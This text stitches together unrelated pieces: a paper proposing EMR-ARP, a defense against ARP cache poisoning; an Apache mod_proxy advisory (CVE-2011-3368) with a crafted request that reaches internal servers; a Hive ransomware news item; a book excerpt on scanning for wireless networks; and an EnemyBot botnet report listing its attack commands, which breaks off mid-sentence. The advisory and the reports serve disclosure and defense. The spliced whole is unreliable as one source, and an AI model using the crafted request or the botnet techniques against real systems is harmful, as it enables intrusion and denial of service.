Philip proposed an approach to prevent ARP cache poisoning in wireless LAN by implementing the defense mechanism in the AP. The basic idea is as follows. The AP constructs the list of correct IP-to-MAC address mapping by monitoring DHCP ACK messages or referring to the DHCP leases file, and blocks all the ARP packets with a false mapping based on the constructed list. However, this approach can be applied only to the dynamic IP addresses allocated through DHCP, and cannot prevent ARP cache poisoning occurring inside the wired LAN. We attempt to protect the upgraded nodes from ARP poisoning-based MITM attacks, whether those nodes are connected to LAN through wire or wireless medium.
Recently, Nam et al. proposed an enhanced version of ARP, called MR-ARP, to prevent ARP poisoning-based MITM attacks in the ethernet by employing the concept of voting. If an ARP request or reply message arrives declaring a new MAC address for an IP address registered in the ARP cache, MR-ARP queries the node corresponding to the current MAC address to check if that IP address is still used by that node in a similar way to Antidote. If an MR-ARP node receives an ARP request or reply declaring an (IP, MAC) mapping for a new IP address, it requests that the neighbor nodes vote for the new IP address to make the correct decision for the corresponding MAC address. For this mechanism, the voting can be fair only when the voting traffic rates of the responding nodes are almost the same. This condition can be satisfied in the Ethernet, but may not be valid in the 802.11 network due to the traffic rate adaptation based on the signal-to-noise ratio (SNR), i.e., auto rate fallback (ARF) [14, 15]. Thus, we attempt to overcome the limitation of MR-ARP by improving the voting procedure through the incorporation of computational puzzles, while achieving the following goals: mitigation of ARP poisoning-based MITM attacks in wired or wireless LAN, backward compatibility with existing ARP, minimal infrastructure upgrade cost (e.g., no upgrade of LAN switches or modification of DHCP), incremental deployability, and no manual configuration for newly joining nodes.
We improve the voting procedure of MR-ARP by incorporating computational puzzles [16–18] to mitigate ARP poisoning-based MITM attacks in wired or wireless LAN, while overcoming the limitation of MR-ARP . As explained at the end of Section 2, the transmission rates of wireless nodes may not be uniform, and thus, the fair voting may not be guaranteed by the voting mechanism of existing MR-ARP. The key idea of the new voting mechanism to resolve the fairness issue in the wireless LAN can described as follows. If the CPU processing power of different nodes is not significantly different, then they might spend a similar amount of time solving the puzzles of the same difficulty. Thus, if we accept the votes only from the nodes that solved the puzzle correctly, then fair voting might be realized in the wireless environment, too. Furthermore, voting reply traffic can be reduced compared to the original MR-ARP scheme since we no longer need to receive multiple votes from each neighbor node. In addition to the fairness issue, MR-ARP could be vulnerable to ARP cache-poisoning problem, although not the MITM problem, especially when a new machine with a new IP address is added. We also explain how this issue is resolved through the new initialization stage after the detailed description of the new voting mechanism. The proposed enhanced version of MR-ARP, which is called EMR-ARP, follows a similar approach to the original MR-ARP, except in the voting and initialization procedures. Thus, EMR-ARP is also based on the following idea . When Node A knows the correct IP/MAC address mapping for Node B, if Node A retains the mapping while Node B is alive, then ARP poisoning and the MITM attack between A and B are not possible.
EMR-ARP retains the long-term (IP, MAC) mapping table, in addition to the normal ARP cache, which is also referred to as the short-term table in this article, to manage the (IP, MAC) mapping for all alive machines in the subnet. Three fields, IP, MAC, and Timer T L , are allocated for each IP address registered in the long-term table. The default value of the timer in the long-term table is 60 minutes. In order to avoid losing the mapping of (IPa, MACa) for an alive host after 60 minutes, the EMR-ARP node sends new ARP request messages for IPa only to MACa through unicasting and checks whether MACa is alive and is still using IPa just before the timer expires. In this case, 10 ARP messages are sent at the random intervals of 50~100 ms. If at least one ARP reply returns, then the mapping is registered in the short-term ARP cache and the corresponding long-term table timer is set to 60 min again. If there is no ARP reply, then the mapping between IPa and MACa is considered invalid and the corresponding entry is deleted from the long-term table. Thus, the (IP, MAC) mapping can be retained in the long-term table until the binding is released.
In case (B) of Figure 1, MAC conflict occurs, because the newly received MAC address MACa for IPa differs from that is already associated with IPa. This conflict is resolved by giving a priority to only if it is alive. As shown in Figure 1, the activity of a host is examined by sending 10 ARP request packets and counting the ARP replies. Multiple ARP requests are sent to cope with unexpected packet losses, including the case of DoS attack on . Even though the packet loss probability is as high as 80% by DoS attack, at least one ARP reply will be returned with a probability of 89%(= 1 - 0.810). Let us consider the case where the mapping of (IPa, MACz) expires, and the IP address IPa is allocated to a new machine with the MAC address of MACa through DHCP. In this case, the new mapping between IPa and MACa can be chosen by the rule corresponding to the case (B) in Figure 1, even though the mapping (IPa, MACz) exists in the long-term table. When a first ARP request from MACa arrives, there would be conflict on IPa in the long-term table, and the node which observes the conflict will send ten ARP requests to MACz. However, the machine MACz would not reply and the new mapping can be registered, since the previous mapping has expired.
3.1 Computational puzzle-based voting scheme
Thus far, we investigated how to prevent MITM attacks for the IP addresses whose corresponding MAC addresses are known already. However, if Node A receives an ARP request from a new IP address, then Node A cannot easily know the correctness of the source IP/MAC mapping contained in the ARP request. For example, when a new machine is added into a LAN with empty short-term cache and long-term table and the machine sends an ARP request for the gateway router, if an adversary's ARP reply advertising a fake MAC address arrives first, then this wrong MAC address may be registered and the late true MAC address may be dropped. We use computational puzzle-based voting, which corresponds to the case (C) in Figure 1, to solve the poisoning problem for this particular case.
Preserving the fairness among different nodes is one of the most important issues in the voting scheme. In the previous version of the voting scheme used in MR-ARP , the fairness was provided by having all the neighbor MR-ARP nodes send multiple voting reply packets at the maximum speed of link rate in the Ethernet. This idea works, because the LAN cards usually have sufficient capability to send traffic at the link rate regardless of the vendor. However, the maximum transmission rates of different nodes may not be the same in the wireless LAN if the transmission rate changes by ARF depending on SNR. Thus, the voting scheme needs to be refined to provide the fairness under any combination of wireless and wired nodes. We attempt to provide the fairness by having the wired or wireless nodes spend a similar amount of time solving the computational puzzles of the same difficulty and making the address resolution decision only based on the votes from the nodes that solved the puzzle correctly. Thus, the puzzle used in the proposed ARP scheme needs to satisfy the following requirements.
The puzzle must be easy to make.
The puzzle must be difficult to solve, but it should be easier to verify the puzzle solution.
Puzzle receiver nodes cannot predict the puzzle easily.
Different nodes should solve different problems to avoid the case whereby a malicious node pretends to be many other nodes by sending multiple replies with a spoofed MAC address after solving only one problem.
The complexity of the different puzzles should be similar to provide fairness between different nodes.
where H' is a uniform random hash function, r is a positive integer, y is an integer given by the puzzle presenter, and [z] r means the least significant r bits of z. Then, the number of iterations required to find a solution of the above puzzle can be modeled as a random variable X that has a geometric distribution with a success probability p, where p = 1/(2 r ). The mean (μ) and the standard deviation (σ) of X are 1/p and , respectively. Thus, σ can be large, even close to μ for small values of p. When this type of puzzle is used, if the attacker can luckily solve many puzzles, even for different MAC addresses, while most other normal machines solve only one puzzle, then the attacker might win the voting by increasing the ratio of votes supporting the fake MAC address and spoof the ARP cache of the voting request node. The variance in the puzzle solving time needs to be minimized to avoid such a problem.
In order to satisfy the above requirements, while minimizing the variance in the puzzle-solving time, we design the puzzle based on the public key cryptography, especially RSA algorithm [19, 20], so that the number of arithmetic operations required to solve the puzzle cannot differ depending on the machines. The proposed puzzle can be described as follows. We first consider two keys e and d that are usually termed the public key and the private key in the public key cryptography. In the proposed scheme, the value of e is fixed to 3, a popular value for the public key . We calculate the value of d in the following way. We choose two different large primes p and q, that are 128 bits long and satisfy the condition that (p - 1) and (q-1) are relatively prime to e. Then, d is an integer that satisfies the condition:
If f i is simply defined as modular exponentiation, e.g., as the decryption operation in the public key cryptography, without any additional operations of addition and subtraction, then the multiple encryption required to evaluate F m (x) can be simplified into a single exponentiation by Euler's theorem . In order to avoid such a simplification, we incorporated the additional operations of addition and subtraction in the definition of the message transformation functions as shown above.
Thus, if the values of e, d, N, and m are fixed, then the puzzle complexity in terms of the number of operations is also fixed. In the proposed scheme, the values of e, d, and N are fixed as described below, and the complexity of the puzzle is controlled only by m.
In EMR-ARP, we use two types of puzzles. The first type of puzzle should be solved by the voting request node itself to prevent a DoS attack that attempts to exhaust the processing power of neighbor EMR-ARP nodes by inducing continuous puzzle computation through too frequent transmission of voting request packets. The second type of puzzle needs to be solved by the EMR-ARP nodes receiving the voting request packets. This puzzle is used to provide the fairness among different nodes in voting.
In the first-type puzzle, the voting request node first makes a message m s by concatenating its own MAC address (MACA) and the local time T s measured in seconds when the voting request node starts to calculate the puzzle, i.e., m s = MACA||T s , and transform m s into c s by the message transformation function F m . Then, the voting request node sends T s , m, and the transformed message c s to the neighbor nodes. e, d, and N need not be delivered since they are fixed and known to EMR-ARP nodes in advance. The neighbor nodes apply the message recovery function G m to the received message c s . If the recovered message agrees with MACA||T s , then it confirms that the sender solved the first-type puzzle correctly and the receiver proceeds to solve the second-type puzzle to send a valid vote in return.
Thus, by comparing G m (c r ) and m r , we can verify the correctness of each answer. We can easily find that the second-type puzzle reflects all the requirements stated above.
Each EMR-ARP node maintains a table of (MAC address of voting request node, T s ) pairs, called puzzle history table, to prevent the flooding of the identical puzzles. T s is the puzzle generation time at the sender node as described above. If an EMR-ARP machine receives a voting request packet, then it first examines the value of the T s field. If the value of received T s is less than or equal to the value stored in the puzzle history table, then the received voting request message is neglected since the puzzle is highly likely to be a repetition of an old one. After verifying the validity of T s to avoid the flooding of identical puzzles, the EMR-ARP node investigates the correctness of the solution contained in the field of c s . If the solution is correct, the received voting request is considered valid, and the received timestamp T s is registered in the puzzle history table, i.e., in the entry corresponding to the MAC address of the current voting request node. Then, the EMR-ARP node proceeds to solve the second-type puzzle to provide a feedback for the voting request.
After solving the second-type puzzle as described above, the EMR-ARP node sends the MAC address corresponding to the queried IP address and the puzzle solution to the voting request node through the fields of target hardware address and c r , respectively, in the voting reply packet of Figure 3b.
Then, the voting request node receives and buffers the incoming voting reply packets up to 1 s from the voting request transmission time. The voting request node finds the earliest voting reply packet, calculates the response time t1, i.e., the period from the voting request transmission time to the arrival time of the earliest voting reply packet, and discards the voting reply packets that arrive later than 2t1 since those late replies might come from the malicious nodes actively solving the puzzles multiple times even for different nodes to increase the ratio of the votes supporting the fake IP/MAC mapping. Then, the voting request node verifies the correctness of the puzzle solution only for the not-too-late replies and accepts the received IP/MAC mapping only when the solution for the second-type puzzle is correct. The voting request node calculates the polling score for each candidate MAC address. If a MAC exists that received over 50% of valid votes, then that MAC address is accepted for the queried IP address.
3.2 Initialization stage
The original MR-ARP scheme might be vulnerable especially when a new MR-ARP node is attached to a LAN where an attacker resides. The detailed problem is described with an example below. In this section, we introduce an initialization stage for the proposed EMR-ARP to overcome the shortcoming of the original MR-ARP scheme especially for this case.
In this scenario, existing MR-ARP nodes do not know the IP address of Node F, and thus, each of them will try to find the correct MAC address of Node F through voting after waiting a random time between 0 and 100 ms . If we assume Node D is the first node that queries the MAC address of Node F, Node D will send a voting request for the IP address of Node F, IPF. There are one attacker node, i.e., Node E, and only one MR-ARP node that knows the MAC address for IPF, i.e., Node F itself. If those two nodes receive the voting request for IPF, then Node F will reply with 50 voting reply packets containing the correct MAC address for IPF. The attacking node needs not follow the original MR-ARP protocol, and it can send more than 50 voting reply packets with a false IP/MAC mapping. Thus, the attacker can win the voting in this case.
MITM attack cannot be successful between Nodes D and F even in this case since the ARP cache and the long term table of Node F are protected with the help of other MR-ARP nodes. However, we further investigate how to prevent ARP cache poisoning-based one-way eavesdropping by Node E for the packets going from the router Node D to the new Node F.
We employ additional initialization steps for EMR-ARP, which are described hereafter, to resolve this problem. The initialization procedure is performed only once during the lifetime of a given machine. The lifetime means the time interval from the time when the machine is turned on to the time when the machine is turned off. If a given EMR-ARP machine receives a new IP address through DHCP, then it performs the initialization steps, immediately after the IP address is configured. If the IP address is manually configured for a given EMR-ARP machine, then the initialization steps are performed just after the network card is activated. We need to note that all the ARP packets irrelevant to the initialization steps are discarded until the initialization steps are completed.
The second step starts after waiting 1 s from the transmission of the gratuitous ARP request packet. In the second step, the rebooted or newly attached node sends a special voting request packet for its own IP address to know if its current IP address is used by other machines. If there is no voting reply packet, or the MAC address of voting node polls over 50% of votes, then the new node can use the current IP address without any problem. If there is at least one reply packet and the MAC address of voting request node polls less than 50%, then the node gives up the use of the current IP address and requests a new IP address through DHCP or manual configuration with the help of a network administrator.
If other existing EMR-ARP nodes retain an entry corresponding to the IP address of the voting request node in the long term table, then they first verify the correctness of the solution to the first-type puzzle and send voting reply packets after solving the second-type puzzle, only if the first puzzle solution is correct. Although the voting reply packets for a normal voting request message are sent only to the voting request node through unicasting, the voting reply packets for a special voting request message are broadcasted, so that other neighbor EMR-ARP nodes can sniff those responses.
Thus, according to the initialization procedure described above, when an EMR-ARP node sends the first special voting request packet after reboot or initial deployment, if an attacker replies with a false MAC address for the queried IP address, then the new node will try to avoid the use of the IP address in conflict. Thus, the voting replies from the attackers advertising false IP/MAC mapping cannot help one-way eavesdropping for the packets going to the new EMR-ARP node. Conversely, if there is no reply for the first special voting request, then all the normal EMR-ARP nodes will accept the mapping between the sender protocol address and the sender hardware address of the special voting request packet by the algorithm in Figure 6. Thus, the proposed initialization procedure can effectively prevent one-way eavesdropping of the packets destined to the newly attached nodes.
In this section, we evaluate the performance of the proposed ARP in terms of the voting traffic overhead, the reliability in the presence of attackers, and address conflict resolution delay.
4.1 Analysis of traffic overhead
We first compare the traffic overhead of EMR-ARP with that of MR-ARP. The traffic overhead of EMR-ARP or MR-ARP is due to the exchange of voting request and reply packets in the voting procedure. Thus, we investigate the traffic rate of voting request and reply packets.
where the first term on the right hand side of the first equality describes the rate of the voting reply packets triggered by Node A itself, the second term describes the traffic rate of voting request packets received by Node A, and the third term is the rate of the voting reply packets triggered by the special voting request messages of other EMR-ARP nodes.
By comparing (5) and (6), we can find that the voting traffic overhead of EMR-ARP is lower than that of MR-ARP if L ≥ 2. If L ≥ 10, then the voting traffic overhead of EMR-ARP is lower than that of MR-ARP by a factor of more than six since the EMR-ARP does not require multiple transmission of the same voting reply packets. When L = M = 255, and T D is one day, . Thus, the voting traffic overhead is not significant for a small subnet.
4.2 Analysis of reliability of the proposed scheme
Before investigating the reliability of the proposed scheme in the presence of attackers in detail, we first investigate whether the fairness can be maintained even when the performance of the CPUs is not the same among different machines.
We also determine the value of m based on the result shown in Figure 7. The message transformation time, i.e., puzzle solving time, should be sufficiently longer than the MAC layer access delay of 802.11 wireless LAN so that the different transmission rate on the wired and wireless medium cannot impair the fairness in voting among the wired and wireless nodes . Thus, we select a sufficiently large value, i.e., 4000, for m to maintain the message transformation time over 450 ms. However, since the optimal value of m can differ depending on the machine, the value of m can be determined according to the above rule by each machine whenever it is rebooted.
As an example, let us consider a case where the processors of all the machines belonging to the given subnet are one of the above three types of CPUs. Let us assume that the puzzle solving times of different machines do not differ by a factor of two, as shown in Figure 8. Then, even though an attacker uses the quad-core processor and tries to send multiple voting replies after solving many puzzles for other MAC addresses, so as to pretend to be multiple other machines, the first voting replies from other normal EMR-ARP nodes will arrive earlier than the second voting reply of the malicious node if all the nodes experience a similar level of MAC layer access delay. If t1 denotes the response time of the earliest voting reply packet, then the voting request node does not accept the voting reply packets that do not arrive within 2t1 from the voting request transmission time as explained in Section 3.1. Thus, the fairness can be guaranteed if the puzzle solving times of different machines do not differ by a factor of two. Figure 8 implies that this condition is likely to be valid in a real environment since the performance of the CPUs used in recent desktop and laptop computers is usually not much different from that of the three types of CPUs considered in this article.
We briefly discuss the compatibility of EMR-ARP with the existing ARP. EMR-ARP Node A responds to a normal ARP request destined to itself by sending an ARP reply message as the current ARP. Even though Node A is the only EMR-ARP-enabled node in the subnet, Node A can accept the received IP/MAC mapping for a new IP address using the rule for (C) in Figure 1. Thus, EMR-ARP is backward compatible with the existing ARP.
4.3 Analysis of conflict resolution delay
In this section, we investigate how long it takes to resolve the conflict on IP/MAC address mapping especially in the cases (B) and (C) of Figure 1. In case (B) of Figure 1, the conflict is resolved by sending 10 ARP request packets to the previous owner of the IP address in question and receiving an ARP response packet from that node. Since the puzzle computation is not involved in this step and the packets are hardly dropped in the normal situation without any DoS attack, it usually takes only one round-trip time (RTT) between the querying node and the previous owner node to resolve the conflict in this case. Since the querying node waits up to 1 s, the conflict resolution time does not exceed 1 s even though there is no response from the previous owner node.
An enhanced version ARP, EMR-ARP, is proposed to prevent ARP cache poisoning-based MITM attacks in wired or wireless LAN environments. The proposed scheme is based on two key concepts: long-term IP/MAC mapping table and computational puzzle-based voting. The long-term table protects the IP/MAC address mappings for all alive machines in the subnet from the ARP cache poisoning attack. The computational puzzle-based voting prevents ARP poisoning-based MITM attack whenever a machine is rebooted or a new machine is added. It is very important to maintain the fairness between different machines when the MAC addresses are resolved based on voting. We designed a new puzzle based on the RSA algorithm to provide fairness, even when the link rates differ between wireless and wired nodes, while minimizing the variance in puzzle solving time.
The experiment results show that the ARP poisoning-based MITM attacks are well mitigated, as long as the number of EMR-ARP nodes is larger than that of adversary nodes. Since the proposed mechanism is not based on public-key cryptography, the manual configuration, such as distribution of the public key and the MAC address of the centralized key management server, is not required, and thus, the proposed scheme can efficiently mitigate ARP poisoning-based MITM attacks, even in public Wi-Fi hot-spots. The proposed scheme is backward compatible with existing ARP protocol and incrementally deployable, with benefits to the upgraded machines.
The proposed computational puzzle-based voting scheme can provide fairness among different nodes only when the computation power of the CPUs of those machines is not significantly different. The proposed scheme will be extended further, so that the fairness can be maintained, even when the computation power of the machines is more diverse in future study.
This research was supported by the Yeungnam University research grants in 2010.
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This article is published under license to BioMed Central Ltd. This is an Open Access article distributed under the terms of the Creative Commons Attribution License (http://creativecommons.org/licenses/by/2.0), which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited. |
Apache mod_proxy Pattern Matching Bug Lets Remote Users Access Internal Servers
SecurityTracker Alert ID: 1026144|
SecurityTracker URL: http://securitytracker.com/id/1026144
(Links to External Site)
Date: Oct 5 2011
Host/resource access via network|
Fix Available: Yes Vendor Confirmed: Yes Exploit Included: Yes |
Version(s): 1.3.x, 2.2.21 and prior versions|
A vulnerability was reported in Apache mod_proxy. A remote user can access internal servers.|
When this system is configured in reverse proxy mode and uses the RewriteRule or ProxyPassMatch directives with a pattern match, a remote user can send a specially crafted request to access internal servers.
Context Information Security Ltd reported this vulnerability.
A remote user can access internal servers.|
The vendor has issued a patch for version 2.2.21, available at:|
Vendor URL: httpd.apache.org/ (Links to External Site)
Access control error, Input validation error|
Linux (Any), UNIX (Any), Windows (Any)|
This archive entry has one or more follow-up message(s) listed below.|
Source Message Contents
Date: Wed, 5 Oct 2011 14:58:02 +0000|
Subject: [Full-disclosure] Apache HTTP Server: mod_proxy reverse proxy exposure (CVE-2011-3368)
-----BEGIN PGP SIGNED MESSAGE-----
Apache HTTP Server Security Advisory
Title: mod_proxy reverse proxy exposure
Product: Apache HTTP Server
Versions: httpd 1.3 all versions, httpd 2.x all versions
An exposure was reported affecting the use of Apache HTTP Server in
reverse proxy mode. We would like to thank Context Information
Security Ltd for reporting this issue to us.
When using the RewriteRule or ProxyPassMatch directives to configure a
reverse proxy using a pattern match, it is possible to inadvertently
expose internal servers to remote users who send carefully crafted
requests. The server did not validate that the input to the pattern
match was a valid path string, so a pattern could expand to an
unintended target URL.
For future releases of the Apache HTTP Server, the software will
validate the request URI, correcting this specific vulnerability. The
documentation has been updated to reflect the more general risks with
pattern matching in a reverse proxy configuration.
A configuration like one of the following examples:
RewriteRule (.*)\.(jpg|gif|png) http://images.example.com$1.$2 [P]
ProxyPassMatch (.*)\.(jpg|gif|png) http://images.example.com$1.$2
could result in an exposure of internal servers. A request of the form:
GET @other.example.com/something.png HTTP/1.1
would get translated to a target of:
This will cause the proxy to connect to the hostname
"other.example.com", as the "images.example.com@" segment would be
treated as user credentials when parsing the URL. This would allow a
remote attacker the ability to proxy to hosts other than those
expected, which could be a security exposure in some circumstances.
The request-URI string in this example,
"@other.example.com/something.png", is not valid according to the HTTP
specification, since it neither an absolute URI
("http://example.com/path") nor an absolute path ("/path"). For
future releases, the server has been patched to reject such requests,
instead returning a "400 Bad Request" error.
Apache HTTPD users should examine their configuration files to determine
if they have used an insecure configuration for reverse proxying.
Affected users can update their configuration, or apply the patch from:
For example, the above RewriteRule could be changed to:
RewriteRule /(.*)\.(jpg|gif|png) http://images.example.com/$1.$2 [P]
to ensure the pattern only matches against paths with a leading "/".
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.11 (GNU/Linux)
-----END PGP SIGNATURE-----
Full-Disclosure - We believe in it.
Hosted and sponsored by Secunia - http://secunia.com/ |
The threat actors behind the Hive Ransomware as a Service (RaaS) scheme have launched attacks against over 1,300 businesses worldwide, making $100 million in fraudulent payments to gangs as of November 2022. brought
“Hive ransomware targets a wide range of businesses and critical infrastructure sectors, including government facilities, telecommunications, critical manufacturing, information technology, especially healthcare and public health (HPH),” US Cybersecurity and Intelligence institution Said in alert.
Active since June 2021, Hive’s RaaS operations include developers who create and manage malware and often purchase initial access from Initial Access Brokers (IABs) to carry out attacks on target networks. There is a mixture of affiliated companies that are responsible for
In most cases, they gain a foothold by exploiting the Microsoft Exchange Server ProxyShell vulnerability, followed by steps to terminate processes related to antivirus engines and data backups, and to delete Windows event logs.
Threat actors who recently upgraded their malware to Rust as an evasion evasion method have also been known to remove virus definitions before encryption.
“Hive attackers are known to use Hive ransomware or another ransomware variant to re-infect the networks of victim organizations that have restored their networks without paying a ransom,” said US Cyber Security and Infrastructure Security Agency (CISA) says:
According to data shared by cybersecurity firm Malwarebytes, Hive compromised about seven victims in August 2022, 14 in September, and two other victims in October, making the group 26 victims. This indicates a decrease in activity since July, when it targeted victims of |
Locate all wireless networks in range without installing any additional software.
So, you've got a laptop. You've got a wireless card. The card might even be built into your laptop. You know there are wireless networks in your area. How do you find them? You might even have an external antenna connected to your wireless card, hoping to establish a longer distance connection. How do you find that network a half-mile away?
If you are connected to a wireless network, you could download a tool such as NetStumbler [Hack #24], but this requires a network connection and you don't have one yet.
All of the major operating systems have integrated software that allows you to discover wireless networks and obtain some status information about the currently connected network.
2.2.1. Windows XP
Service Pack 2 (SP2) introduced some new behavior to Windows XP for wireless networks. Since SP2 has been available for over a year now, we will assume you have upgraded your installation. This section applies to SP2 only.
If any wireless access points are detected by your wireless card, Windows XP will inform you using a pop-up above the task bar, which says, "Wireless networks detected." Clicking the pop-up or the network icon opens a window titled Wireless Network Connection, as shown in Figure 2-1.
Figure 2-1. Available wireless networks
This window lists any wireless networks that are in range. In this example, there are three networks available. The window also shows you that the first wireless network requires the use of a WPA key.
To join a network, select one from the list and click Connect. If the network is unsecured, you will be asked to allow the unsecure connection. If security is enabled, you will be prompted for a WPA or WEP key and to confirm the key by retyping.
If you have difficulty connecting to any of the listed networks, click the "Change advanced settings" button to open the Wireless Networks Connection Properties window shown in Figure 2-2.
Figure 2-2. Advanced wireless network options
Clicking the Wireless Networks tab displays a button that will return you to the available wireless networks screen. It also shows a list of preferred networks that you can add or modify. This is important to know if your wireless access point does not broadcast the ESSID, because it saves you from repeatedly having to type in the name of the otherwise-invisible network and needing to remember its name in the first place.
At the top of this window, if the "Use Windows to configure my wireless network settings" checkbox is checked, Windows will automatically attempt to connect to any wireless networks listed in your preferred networks. If no preferred networks are available, it will provide you with a list of available wireless networks, as shown earlier in Figure 2-1.
To get status on the wireless network to which you are currently connected, right-click the network icon in the task bar and select Status. Figure 2-3 shows a typical status screen.
Figure 2-3. Wireless network status
While this gives you some basic connection information, it doesn't show you actual signal strength in dB, which would be very useful for testing wireless connections. You also do not get any information on signal-to-noise ratio. Clicking on the Support tab gives you IP addressing information for this wireless card.
2.2.2. Mac OS X
For Apple notebooks with a built-in AirPort card, all wireless configuration is handled through the System Preferences (System Preferences images/U2192.jpg border=0> Network), as shown in Figure 2-4.
Figure 2-4. AirPort configuration
By default, you will have at least two available network cards. Click the Show pull-down menu for a choice of adapters, including Built-in Ethernet and AirPort. Select AirPort. To get to the wireless network settings, select the AirPort tab.
We'll come back to details of this screen later. Right now, you should be concerned with the "Show AirPort status in menu bar" setting, which should be checked. Once you check this box and close the configuration window, you'll see a new icon in the menu bar, as shown in Figure 2-5. The first thing you'll want to do is click the menu bar icon and select the option to turn on the AirPort card.
Figure 2-5. AirPort menu bar
Once the AirPort card is on, you'll be able to see a list of available networks; you can select any of these. If a password is required for the selected network, you'll be prompted for it.
To connect to a network that is not listed, choose Other…. You will be presented with the Closed Network box shown in Figure 2-6. This is how you can join networks that do not broadcast their ESSID.
Figure 2-6. Specifying the ESSID for a closed network
Here, you can enter the network name (ESSID) of the wireless network you want to join and the password if one is required. Mac OS X supports WEP, LEAP, WPA, and 802.1x authentication types. You can select these from the drop-down menu labeled Wireless Security.
Once you've either selected an available network or entered information for another network not listed, you'll see which network is currently connected by using the AirPort menu bar, as shown in Figure 2-7.
The AirPort software offers a signal strength meter, though it is rather limited in its granularity. Click the AirPort icon in the menu bar and select Open Internet Connect; you'll see a window similar to Figure 2-8.
Combined with the lack of a connector for external antennas, this limits the AirPort wireless card as a useful tool for testing wireless network connections. For more advanced signal measurement on Mac OS X, you might want to take a look at iStumbler [Hack #27] or KisMAC [Hack #28].
Figure 2-7. AirPort menu bar connections
Figure 2-8. Apple's basic AirPort status
Using wireless networking cards in Linux can require a good deal of work, depending on your particular Linux distribution, your specific wireless card, and your hardware platform. I'm not going to cover that here. I assume here that you have PCMCIA support for your wireless card, the Wireless Extensions in your kernel, and the Wireless Tools package installed.
Not too long ago, these requirements involved compiling your own Linux kernel, compiling and installing a driver for your wireless card, and configuring the Wireless Tools by editing a number of configuration files. Along with other changes in the desktop distributions of Linux, built-in wireless support is standard with all of the major 2.6 kernel distributions. Examples in this section use Ubuntu Linux.
While wireless support has made many strides in current Linux distributions, one thing not readily available in default installations is any sort of GUI for detecting wireless networks. There are several great packages that do this, but from a fresh install, none of them are available. The best tools for the job are still the basic Wireless Tools run from the command line. These come installed by default if wireless drivers are present.
The Wireless Tools package provides four command-line tools:
Allows you to manipulate the basic wireless parameters
Allows you to list addresses, frequencies, bit rates, and more
Allows you to get per-node link quality
Allows you to manipulate the Wireless Extensions specific to a driver
iwlist is the tool you need at the command line to show you available wireless networks. To enable scanning, use the following command:
$ iwlist ath0 scanning
This gives you detailed information about all detected networks and is supported in the newer versions of the Wireless Extensions/Tools. You'll see output similar to this:
ath0 Scan completed : Cell 01 - Address: 00:02:2D:08:82:DA ESSID:"foo" Mode:Master Frequency:2.442 GHz (Channel 7) Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm Encryption key:off Bit Rate:1 Mb/s Bit Rate:2 Mb/s Bit Rate:5 Mb/s Bit Rate:11 Mb/s Extra:bcn_int=100 Cell 02 - Address: 00:02:6F:20:B6:49 ESSID:"foo-a" Mode:Master Frequency:5.26 GHz (Channel 52) Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm Encryption key:off Bit Rate:6 Mb/s Bit Rate:9 Mb/s Bit Rate:12 Mb/s Bit Rate:18 Mb/s Bit Rate:24 Mb/s Bit Rate:36 Mb/s Bit Rate:48 Mb/s Bit Rate:54 Mb/s Extra:bcn_int=100 Cell 03 - Address: 00:02:6F:20:B6:4A ESSID:"foo-g" Mode:Master Frequency:2.462 GHz (Channel 11) Quality=0/94 Signal level=-95 dBm Noise level=-95 dBm Encryption key:on Bit Rate:1 Mb/s Bit Rate:2 Mb/s Bit Rate:5 Mb/s Bit Rate:6 Mb/s Bit Rate:9 Mb/s Bit Rate:11 Mb/s Bit Rate:12 Mb/s Bit Rate:18 Mb/s Bit Rate:24 Mb/s Bit Rate:36 Mb/s Bit Rate:48 Mb/s Bit Rate:54 Mb/s Extra:bcn_int=100
If there are multiple access points visible from your machine, you'll receive detailed information on each one. Once you've found the access point you need to connect to, you can use iwconfig to tell your card about it.
Anyone who works with wireless networks in Linux will likely be looking for a more powerful link-state monitoring tool. Be sure to take a look at AP Radar [Hack #26] or Wavemon [Hack #30] if you need more functionality than the simple command-line tools provide.
Bluetooth, Mobile Phones, and GPS
Network Discovery and Monitoring
Wireless Network Design
Appendix A. Wireless Standards
Appendix B. Wireless Hardware Guide |
New EnemyBot DDoS Botnet Recruits Routers and IoTs Into its Army
A new Mirai-based botnet malware named Enemybot has been observed growing its army of infected devices through vulnerabilities in modems, routers, and IoT devices, with the threat actor operating it known as Keksec.
The particular threat group specializes in crypto-mining and DDoS; both supported by botnet malware that can nest in IoT devices and hijack their computational resources.
Enemybot features string obfuscation while its C2 server hides behind Tor nodes, so mapping it and taking it down is quite challenging at this time.
Still, it has been spotted in the wild by threat analysts at Fortinet, who have sampled the malware, analyzed it, and published a detailed technical report on its functions.
When a device is infected, Enemybot begins by connecting to the C2 and awaiting commands to execute. Most of the commands are related to DDoS (distributed denial of service) attacks, but the malware isn’t strictly limited to it.
More specifically, Fortinet presents the following set of supported commands:
- ADNS – Perform DNS amplification attack
- ARK – Perform an attack on the servers of the game “ARK: Survival Evolved”
- BLACKNURSE – Flood the target with Destination Port Unreachable ICMP messages
- DNS – Flood DNS servers with hardcoded DNS UDP queries
- HOLD – Flood the target with TCP connections and hold them for a specified time
- HTTP – Flood the target with HTTP requests
- JUNK – Flood the target with random non-zero-byte UDP packets
- OVH – Flood OVH servers with custom UDP packets
- STD – Flood the target with random-byte UDP packets
- TCP – Flood the target with TCP packets featuring spoofed source headers
- TLS – Perform SSL/TLS attack
- UDP – Flood the target with UDP packets featuring spoofed source headers
- OVERTCP – Perform TCP attack with randomized packet delivery intervals
- STOP – Stop ongoing DoS attacks
- LDSERVER – Update download server for exploit payload
- SCANNER – Spread to other devices via SSH/Telnet brute-forcing and exploits
- SH – Run shell command
- TCPOFF/TCPON – Turn sniffing off or on at ports 80, 21, 25, 666, 1337, and 8080, possibly to collect credentials
The commands targeting the ARK game and the OVH servers are of particular interest, which may indicate extortion campaigns targeting these companies.
Also, the LDSERVER command allows the threat actors to push out new URLs for payloads to deal with any problems in the download server. That’s notable because most Mirai-based botnets have a fixed, hard-coded download URL.
Targeted archs and flaws
Enemybot targets multiple architectures, from the common x86, x64, i686, darwin, bsd, arm, and arm64, to scarcer and obsolete system types like ppc, m68k, and spc.
This is very important for the malware’s spreading capabilities, as it can identify the architecture of the pivot point and fetch the matching binary from the C2.
In terms of the targeted vulnerabilities, Fortinet has seen some differences in the sets between the sampled variants, but the three present everywhere are:
